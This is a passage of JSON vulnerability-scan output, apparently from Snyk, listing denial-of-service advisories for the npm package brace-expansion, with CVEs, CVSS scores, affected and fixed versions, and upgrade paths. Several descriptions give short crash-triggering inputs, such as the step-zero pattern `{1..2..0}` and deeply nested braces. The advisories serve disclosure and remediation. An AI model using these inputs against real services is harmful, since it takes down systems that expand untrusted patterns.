"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
